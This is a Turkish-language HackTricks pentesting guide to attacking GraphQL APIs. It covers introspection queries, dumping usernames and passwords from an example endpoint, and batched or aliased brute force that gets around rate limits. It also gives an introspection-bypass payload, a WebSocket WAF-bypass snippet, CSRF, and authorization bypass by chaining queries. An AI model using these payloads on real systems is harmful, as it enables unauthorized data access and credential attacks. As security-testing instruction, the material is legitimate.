29 KiB
GraphQL
Sıfırdan kahraman olmak için AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- **💬 Discord grubuna katılın veya telegram grubuna katılın veya bizi Twitter 🐦 @carlospolopm'da takip edin.
- Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
Tanıtım
GraphQL, backend'den veri sorgulamak için basitleştirilmiş bir yaklaşım sunan REST API'ye karşı etkili bir alternatif olarak vurgulanmaktadır. REST'in aksine, verileri toplamak için genellikle çeşitli uç noktalarda çok sayıda istek gerektiren bir yaklaşım yerine, GraphQL tüm gerekli bilgilerin tek bir istek aracılığıyla alınmasını sağlar. Bu basitleştirme, veri alım süreçlerinin karmaşıklığını azaltarak geliştiricilere önemli ölçüde fayda sağlar.
GraphQL ve Güvenlik
GraphQL gibi yeni teknolojilerin ortaya çıkmasıyla yeni güvenlik açıkları da ortaya çıkmaktadır. Dikkate alınması gereken önemli bir nokta, GraphQL'in varsayılan olarak kimlik doğrulama mekanizmalarını içermediğidir. Bu tür güvenlik önlemlerini uygulamak geliştiricilerin sorumluluğundadır. Doğru kimlik doğrulama olmadan, GraphQL uç noktaları kimlik doğrulamasız kullanıcılara hassas bilgileri açığa çıkarabilir ve ciddi bir güvenlik riski oluşturabilir.
Dizin Brute Force Saldırıları ve GraphQL
Açığa çıkarılmış GraphQL örneklerini tanımlamak için dizin brute force saldırılarında belirli yolların dahil edilmesi önerilir. Bu yollar şunlardır:
/graphql
/graphiql
/graphql.php
/graphql/console
/api
/api/graphql
/graphql/api
/graphql/graphql
Açık GraphQL örneklerinin tanımlanması, desteklenen sorguların incelenmesine olanak tanır. Bu, uç noktadan erişilebilen verileri anlamak için önemlidir. GraphQL'in keşif sistemi, bir şemanın desteklediği sorguları detaylandırarak bunu kolaylaştırır. Bu konuda daha fazla bilgi için GraphQL belgelerindeki keşif bölümüne bakın: GraphQL: API'ler için bir sorgu dili.
Parmak İzi
graphw00f aracı, bir sunucuda kullanılan GraphQL motorunu tespit edebilir ve ardından güvenlik denetçisi için bazı yararlı bilgileri yazdırabilir.
Evrensel sorgular
Bir URL'nin bir GraphQL servisi olup olmadığını kontrol etmek için bir evrensel sorgu, query{__typename}
, gönderilebilir. Yanıt {"data": {"__typename": "Query"}}
içeriyorsa, URL'nin bir GraphQL uç noktası barındırdığını doğrular. Bu yöntem, sorgulanan nesnenin türünü ortaya çıkaran GraphQL'in __typename
alanına dayanır.
query{__typename}
Temel Numaralandırma
Graphql genellikle GET, POST (x-www-form-urlencoded) ve POST(json) destekler. Güvenlik açısından, CSRF saldırılarını önlemek için yalnızca json'a izin vermek önerilir.
İçgörü
Şema bilgilerini keşfetmek için içgörüyü kullanmak için __schema
alanını sorgulayın. Bu alan tüm sorguların kök türünde mevcuttur.
query={__schema{types{name,fields{name}}}}
Bu sorgu ile kullanılan tüm tiplerin adını bulacaksınız:
{% code overflow="wrap" %}
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
{% endcode %}
Bu sorgu ile tüm tipleri, alanlarını ve argümanlarını (ve argümanların türlerini) çıkarabilirsiniz. Veritabanını sorgulamanın nasıl yapılacağını bilmek için çok faydalı olacaktır.
Hatalar
Hataların gösterilip gösterilmeyeceğini bilmek ilginç olacaktır, çünkü bunlar faydalı bilgiler sağlayabilir.
?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
Yapısal Veritabanını Tanımlama Yöntemiyle Sıralama
{% hint style="info" %}
Eğer yapısal tanımlama etkinleştirilmişse ancak yukarıdaki sorgu çalışmıyorsa, sorgu yapısından onOperation
, onFragment
ve onField
direktiflerini kaldırmayı deneyin.
{% endhint %}
#Full introspection query
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
Satır içi denetim sorgusu:
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
Son kod satırı, graphql'den tüm meta bilgileri (nesne adları, parametreler, tipler...) dökecek olan bir graphql sorgusudur.
Eğer açıksözlülük etkinse, GraphQL Voyager kullanarak tüm seçenekleri GUI'de görüntüleyebilirsiniz.
Sorgulama
Veritabanında hangi tür bilgilerin kaydedildiğini bildiğimize göre, bazı değerler çıkarmayı deneyelim.
Açıksözlülükte doğrudan sorgulayabileceğiniz nesneleri bulabilirsiniz (bir nesneyi sorgulayamazsınız çünkü var olduğu için). Aşağıdaki görüntüde "queryType"'ın "Query" olarak adlandırıldığını ve "Query" nesnesinin alanlarından birinin "flags" olduğunu görebilirsiniz, ki bu da bir nesne türüdür. Dolayısıyla bayrak nesnesini sorgulayabilirsiniz.
Sorgunun türü "flags"'in "Flags" olduğuna dikkat edin ve bu nesnenin aşağıdaki gibi tanımlandığını görebilirsiniz:
"Flags" nesnelerinin ad ve değer tarafından oluşturulduğunu görebilirsiniz. Sonra bayrakların tüm adlarını ve değerlerini aşağıdaki sorgu ile alabilirsiniz:
query={flags{name, value}}
Dikkat edin ki, sorgulanacak nesne string gibi ilkel bir tür ise aşağıdaki örnekte olduğu gibi
Sadece şu şekilde sorgulayabilirsiniz:
query={hiddenFlags}
Başka bir örnekte, "Query" türü nesnesi içinde 2 nesne bulundu: "user" ve "users".
Bu nesnelerin aramak için herhangi bir argümana ihtiyaç duymadığı durumda, istediğiniz verileri sormak suretiyle tüm bilgileri alabilirsiniz. Bu örnekte İnternet'ten kaydedilmiş kullanıcı adlarını ve şifreleri çıkarabilirsiniz:
Ancak, bu örnekte bunu denerseniz şu hatayı alırsınız:
Görünüşe göre, bir şekilde "uid" türünde bir argüman kullanarak arama yapacak.
Neyse ki, zaten Temel Numaralandırma bölümünde bize gereken tüm bilgileri gösteren bir sorgu önerilmişti: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}
Eğer o sorguyu çalıştırdığımda sağlanan resmi okursanız, "user"'ın Int türünde "uid" adında bir arg'ı olduğunu göreceksiniz.
Bu nedenle, hafif bir uid bruteforce yaparak uid=1 için bir kullanıcı adı ve bir şifre elde ettim:
query={user(uid:1){user,password}}
Dikkat edin ki, "user" ve "password" parametrelerini isteyebileceğimi keşfettim çünkü var olmayan bir şey aramaya çalışırsam (query={user(uid:1){noExists}}
) bu hatayı alırım:
Ve numaralandırma aşaması sırasında "dbuser" nesnesinin "user" ve "password" alanlarına sahip olduğunu keşfettim.
Sorgu dizesi dökme hilesi (teşekkürler @BinaryShadow_)
Eğer bir String türü ile arama yapabilirseniz, örneğin: query={theusers(description: ""){username,password}}
ve boş bir dize ararsanız tüm verileri dökecektir. (Bu örnek, öğreticilerin örneği ile ilgili değildir, bu örnekte "theusers" kullanarak "description" adında bir String alanı ile arama yapabileceğinizi varsayalım).
Arama
Bu kurulumda, bir veritabanı kişileri ve filmleri içerir. Kişiler e-posta ve isimleriyle tanımlanır; filmler ise adları ve derecelendirmeleriyle. Kişiler birbirleriyle arkadaş olabilir ve ayrıca filmlere sahip olabilir, veritabanı içindeki ilişkileri gösterir.
Kişileri isimlerine göre arayabilir ve e-postalarını alabilirsiniz:
{
searchPerson(name: "John Doe") {
email
}
}
Kişileri adlarına göre arayabilir ve abone oldukları filmleri alabilirsiniz:
{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}
Not alınan kişinin subscribedMovies
'unun name
'inin alınması belirtilmiştir.
Aynı zamanda aynı anda birkaç nesne aranabilir. Bu durumda, 2 film araması yapılır:
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r
Ya da farklı nesnelerin ilişkileri kullanılarak takma adlar:
{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}
Mutasyonlar
Mutasyonlar, sunucu tarafında değişiklik yapmak için kullanılır.
İntrospeksiyon içinde tanımlanmış mutasyonları bulabilirsiniz. Aşağıdaki resimde "MutationType" "Mutation" olarak adlandırılır ve "Mutation" nesnesi mutasyonların isimlerini içerir (bu durumda "addPerson" gibi):
Bu yapıda bir veritabanı, kişileri ve filmleri içerir. Kişiler, e-posta ve isimleri ile tanımlanır; filmler ise isim ve puanları ile tanımlanır. Kişiler birbirleriyle arkadaş olabilir ve ayrıca filmlere sahip olabilir, bu da veritabanındaki ilişkileri gösterir.
Veritabanına yeni film eklemek için bir mutasyon aşağıdaki gibi olabilir (bu örnekte mutasyon addMovie
olarak adlandırılmıştır):
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}
Sorguda hem verilerin hem de veri türünün belirtildiğine dikkat edin.
Ayrıca, veritabanı mevcut arkadaşlar ve filmler ile ilişkilendirilmiş kişilerin oluşturulmasına izin veren addPerson
adında bir mutasyon işlemini destekler. Arkadaşlar ve filmlerin, bunlara yeni oluşturulan kişiyi bağlamadan önce veritabanında mevcut olması önemlidir.
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}
Yönerge Aşırı Yükleme
Bu raporda açıklanan zafiyetlerden birinde belirtildiği gibi, bir yönerge aşırı yükleme, sunucunun işlemleri boşa harcayacak şekilde milyonlarca kez bir yönergeyi çağırması anlamına gelir ve DoS saldırısı yapılabilir hale gelene kadar devam etmesi gerekmektedir.
1 API isteğinde toplu kaba kuvvet saldırısı
Bu bilgi https://lab.wallarm.com/graphql-batching-attack/ adresinden alınmıştır.
Farklı kimlik bilgileri ile birlikte birçok sorguyu aynı anda göndererek kimlik doğrulama. Kontrol etmek için klasik bir kaba kuvvet saldırısıdır, ancak artık GraphQL toplu işleme özelliği sayesinde HTTP isteği başına birden fazla giriş/şifre çifti göndermek mümkündür. Bu yaklaşım, harici hız izleme uygulamalarını tümünün iyi olduğunu ve şifreleri tahmin etmeye çalışan bir kaba kuvvet botunun olmadığını düşünmelerine kandırabilir.
Aşağıda, aynı anda 3 farklı e-posta/şifre çifti ile uygulama kimlik doğrulama isteğinin en basit gösterimi bulunmaktadır. Açıkça aynı şekilde tek bir istekte binlerce göndermek mümkündür:
Yanıt ekran görüntüsünden görebileceğimiz gibi, ilk ve üçüncü istekler null döndürdü ve ilgili bilgileri error bölümünde yansıttı. İkinci mutasyon doğru kimlik doğrulama verilerine sahipti ve yanıt doğru kimlik doğrulama oturum belirteci içeriyordu.
GraphQL İntrospeksiyon Olmadan
Daha fazla graphql uç noktası introspeksiyonu devre dışı bırakıyor. Bununla birlikte, graphql'in beklenmeyen bir istek aldığında fırlattığı hatalar, clairvoyance gibi araçların çoğu şemayı yeniden oluşturmasına yeterlidir.
Ayrıca, Burp Suite uzantısı GraphQuail uzantısı, Burp üzerinden geçen GraphQL API isteklerini izler ve her yeni sorguyu gördüğünde içsel bir GraphQL şeması oluşturur. Ayrıca şemayı GraphiQL ve Voyager için açığa çıkarabilir. Uzantı, bir introspeksiyon sorgusu aldığında sahte bir yanıt döndürür. Sonuç olarak, GraphQuail API içinde kullanılabilecek tüm sorguları, argümanları ve alanları gösterir. Daha fazla bilgi için buraya bakın.
GraphQL varlıklarını keşfetmek için güzel bir kelime listesi burada bulunabilir.
GraphQL introspeksiyon savunmalarını atlatma
API'lerde introspeksiyon sorgularına yönelik kısıtlamaları atlatmak için, __schema
kelimesinden sonra özel bir karakter eklemek etkili olmaktadır. Bu yöntem, introspeksiyonu engellemeyi amaçlayan regex desenlerinde yaygın geliştirici hatalarını sömürür. GraphQL'in görmezden geldiği ancak regex'te hesaba katılmamış olabilecek karakterler ekleyerek, kısıtlamalar atlatılabilir. Örneğin, __schema
'dan sonra bir satır sonu ekleyen bir introspeksiyon sorgusu, bu tür savunmaları atlayabilir:
# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}
Eğer başarısız olursanız, yalnızca POST isteklerine kısıtlamalar uygulanmış olabileceğinden GET istekleri veya x-www-form-urlencoded
ile POST gibi alternatif istek yöntemlerini düşünün.
WebSockets Deneyin
Bu konuşmada belirtildiği gibi, olası bir WAF'ı atlamaya ve WebSockets aracılığıyla graphQL'e bağlanmanın mümkün olup olmadığını kontrol edin, çünkü bu, graphQL'in şemasını sızdırmanıza izin verebilir:
ws = new WebSocket('wss://target/graphql', 'graphql-ws');
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`
}
var graphqlMsg = {
type: 'GQL.START',
id: '1',
payload: GQL_CALL,
};
ws.send(JSON.stringify(graphqlMsg));
}
Açığa Çıkarılmış GraphQL Yapılarını Keşfetme
İntrospeksiyon devre dışı bırakıldığında, JavaScript kütüphanelerinde önceden yüklenmiş sorguları incelemek yararlı bir stratejidir. Bu sorgular, geliştirici araçlarındaki Kaynaklar
sekmesi kullanılarak bulunabilir, API'nin şemasına dair içgörüler sağlayabilir ve potansiyel olarak açığa çıkarılmış hassas sorguları ortaya çıkarabilir. Geliştirici araçları içinde arama yapmak için kullanılan komutlar:
Inspect/Sources/"Search all files"
file:* mutation
file:* query
GraphQL'de CSRF
CSRF nedir bilmiyorsanız aşağıdaki sayfayı okuyun:
{% content-ref url="../../pentesting-web/csrf-cross-site-request-forgery.md" %} csrf-cross-site-request-forgery.md {% endcontent-ref %}
Dışarıda, birkaç GraphQL uç noktası CSRF belirteçleri olmadan yapılandırılmış olarak bulabileceksiniz.
GraphQL istekleri genellikle application/json
Content-Type kullanılarak POST istekleri aracılığıyla gönderilir.
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
Ancak, çoğu GraphQL uç noktası ayrıca form-urlencoded
POST isteklerini de destekler:
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
Bu nedenle, önceki istekler gibi CSRF istekleri önişlem istekleri olmadan gönderildiğinden, bir CSRF'yi istismar ederek GraphQL'de değişiklikler yapmak mümkündür.
Ancak, Chrome'un samesite
bayrağının yeni varsayılan çerez değeri Lax
'tir. Bu, çerezin yalnızca üçüncü taraf web sitesinden GET isteklerinde gönderileceği anlamına gelir.
Ayrıca, sorgu isteğinin genellikle bir GET isteği olarak da gönderilebileceğini ve CSRF belirtecinin GET isteğinde doğrulanmayabileceğini unutmayın.
Ayrıca, bir XS-Search saldırısını istismar ederek kullanıcının kimlik bilgilerini istismar ederek GraphQL uç noktasından içerik sızdırılması mümkün olabilir.
Daha fazla bilgi için şu orijinal yazıya buradan bakın.
GraphQL'de Cross-site WebSocket kaçırma
GraphQL'i istismar eden CRSF zafiyetlerine benzer şekilde, korumasız çerezlerle GraphQL kimlik doğrulamasını istismar etmek ve bir kullanıcının GraphQL'de beklenmeyen eylemler gerçekleştirmesini sağlamak için Cross-site WebSocket kaçırma mümkündür.
Daha fazla bilgi için kontrol edin:
{% content-ref url="../../pentesting-web/websocket-attacks.md" %} websocket-attacks.md {% endcontent-ref %}
GraphQL'de Yetkilendirme
Uç noktada tanımlanan birçok GraphQL işlevi, yalnızca istekte bulunanın kimlik doğrulamasını kontrol edebilir ancak yetkilendirmeyi kontrol etmeyebilir.
Sorgu giriş değişkenlerini değiştirmek, hassas hesap ayrıntılarına yol açabilir sızdırılmış.
Mutasyon, başka bir hesap verisini değiştirmeye çalışarak hatta hesap ele geçirmeye yol açabilir.
{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}
GraphQL'de Yetkilendirme Atlatma
Query'leri zincirleme zayıf bir kimlik doğrulama sistemini atlayabilir.
Aşağıdaki örnekte işlemin "forgotPassword" olduğunu ve yalnızca onunla ilişkili forgotPassword sorgusunun yürütülmesi gerektiğini görebilirsiniz. Bu, sona bir sorgu ekleyerek atlatılabilir, bu durumda "register" ve bir kullanıcı değişkeni ekliyoruz ki sistem onu yeni bir kullanıcı olarak kaydedebilsin.
GraphQL'de Aliases Kullanarak Hız Sınırlarını Atlatma
GraphQL'de, aliases, bir API isteği yapılırken özelliklerin açıkça adlandırılmasına olanak tanıyan güçlü bir özelliktir. Bu yetenek, tek bir istekte aynı türden birden fazla örneği almak için özellikle kullanışlıdır. Aliases, GraphQL nesnelerinin aynı isme sahip birden fazla özelliğe sahip olmasını engelleyen kısıtlamayı aşmak için kullanılabilir.
GraphQL aliases'lerinin detaylı anlaşılması için aşağıdaki kaynak önerilir: Aliases.
Aliases'lerin asıl amacı birçok API çağrısına gerek duymayı azaltmaktır, ancak aliases'lerin, GraphQL uç noktasında brute force saldırıları gerçekleştirmek için kullanılabileceği istenmeyen bir kullanım durumu tespit edilmiştir. Bu, bazı uç noktaların, HTTP isteklerinin sayısını sınırlayarak brute force saldırılarını engellemeyi amaçlayan hız sınırlayıcılarla korunduğu gerçeğinden kaynaklanmaktadır. Bununla birlikte, bu hız sınırlayıcılar, her istekteki işlemlerin sayısını dikkate almayabilir. Aliases'ler, bir HTTP isteğinde birden fazla sorgunun dahil edilmesine izin verdiği için, bu tür hız sınırlama önlemlerini atlayabilir.
Aşağıdaki örneği düşünün, bu örnek, mağaza indirim kodlarının geçerliliğini doğrulamak için aliases'li sorguların nasıl kullanılabileceğini göstermektedir. Bu yöntem, birçok indirim kodunun aynı anda doğrulanmasına izin vererek hız sınırlamayı atlayabilir çünkü bir HTTP isteğinde birkaç sorguyu derleyebilir.
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}
Araçlar
Güvenlik açığı tarayıcıları
- https://github.com/dolevf/graphql-cop: GraphQL uç noktalarının yaygın yapılandırmalarını test edin
- https://github.com/assetnote/batchql: Toplu GraphQL sorguları ve mutasyonları gerçekleştirmeye odaklanan GraphQL güvenlik denetimi betiği.
- https://github.com/dolevf/graphw00f: Kullanılan graphql'i parmak izleyin
- https://github.com/gsmith257-cyber/GraphCrawler: Şemaları yakalamak ve hassas verileri aramak, yetkilendirme testi yapmak, şemaları kaba kuvvet uygulamak ve belirli bir türe giden yolları bulmak için kullanılabilen bir araç seti.
- https://blog.doyensec.com/2020/03/26/graphql-scanner.html: Bağımsız olarak veya Burp uzantısı olarak kullanılabilir.
- https://github.com/swisskyrepo/GraphQLmap: Saldırıları otomatize etmek için CLI istemcisi olarak da kullanılabilir
- https://gitlab.com/dee-see/graphql-path-enum: Bir GraphQL şemasında belirli bir türe ulaşmanın farklı yollarını listeleyen bir araç.
- https://github.com/doyensec/GQLSpection: Standalone ve CLI Modlarının halefi olan InQL'in
- https://github.com/doyensec/inql: Gelişmiş GraphQL testi için Burp uzantısı. Tarayıcı, InQL v5.0'ın çekirdeğidir, burada bir GraphQL uç noktasını veya yerel bir içgörü şema dosyasını analiz edebilirsiniz. Tüm olası sorguları ve mutasyonları otomatik olarak oluşturur ve analiziniz için yapılandırılmış bir görünüme yerleştirir. Saldırgan bileşeni, kötü uygulanmış hız sınırlarını atlamak için yararlı olabilecek toplu GraphQL saldırıları çalıştırmanıza olanak tanır.
- https://github.com/nikitastupin/clairvoyance: Bazı Graphql veritabanlarının yardımıyla introspection devre dışı bırakılmış olsa bile şemayı almayı deneyin, mutasyon ve parametre adlarını önerir.
İstemciler
- https://github.com/graphql/graphiql: GUI istemcisi
- https://altair.sirmuel.design/: GUI İstemcisi
Otomatik Testler
{% embed url="https://graphql-dashboard.herokuapp.com/" %}
- AutoGraphQL'yi açıklayan video: https://www.youtube.com/watch?v=JJmufWfVvyU
Referanslar
- https://jondow.eu/practical-graphql-attack-vectors/
- https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
- https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4
- http://ghostlulz.com/api-hacking-graphql/
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md
- https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
- https://portswigger.net/web-security/graphql